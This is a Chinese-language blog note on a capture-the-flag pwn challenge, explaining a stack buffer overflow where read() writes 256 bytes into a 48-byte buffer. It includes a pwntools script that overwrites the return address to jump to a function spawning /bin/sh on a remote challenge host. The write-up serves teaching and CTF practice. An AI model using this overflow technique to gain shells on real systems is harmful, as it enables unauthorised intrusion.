跳至主要内容

简单栈溢出

例子

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("Just say something...");
read(0, buf, 0x100u);
return 0;
}

read(0, buf, 0x100u)出现了明显的栈溢出

  • 从标准输入(fd=0)中读取 0x100 = 256 字节到 buf 中。
  • 但是 buf 只有 48 字节!所以 直接构成栈缓冲区溢出漏洞

当有 溢出漏洞(比如 buffer overflow)时,程序允许我们“写太多数据”,覆盖重要区域,比如:

  • 返回地址
  • **函数指针
  • vtable 指针
  • 结构体内的 sensitive 字段
    这样,我们可以:
  • 控制程序执行跳转
  • 伪造结构体(如 FILE 结构体)
  • 泄露敏感信息
    这种攻击叫做:

    内存破坏类攻击(Memory Corruption)

然后可以在ida找到相应函数

1
2
3
4
5
int whhhat()
{
puts("good work!");
return execve("/bin/sh", 0, 0);
}

地址在00000000004011F7

然后就可以写脚本了

1
2
3
4
5
from pwn import *
io = remote("nc1.ctfplus.cn",38062)
payload=b'a'*0x38+p64(0x4011F7)
io.send(payload)
io.interactive()

这里填充0x38(56)个a,对应buf的48个和默认压栈的8个rbp
p64(x)pwntools 中的函数,用来把整数 x 编码成 8 字节(64 位)的小端(Little Endian)格式的二进制数据。

1
2
3
4
5
6
7
|---------------------| ← 高地址
| return address | ← call 指令压栈(CPU自动)
|---------------------|
| saved rbp | ← push rbp 压栈(编译器插入)
|---------------------|
| local variables | ← 局部变量,如 char buf[48]
|---------------------| ← rbp 指向这里

关于本文

由 GuQing 撰写,采用 CC BY-NC 4.0 许可协议。

#Note_For_Pwn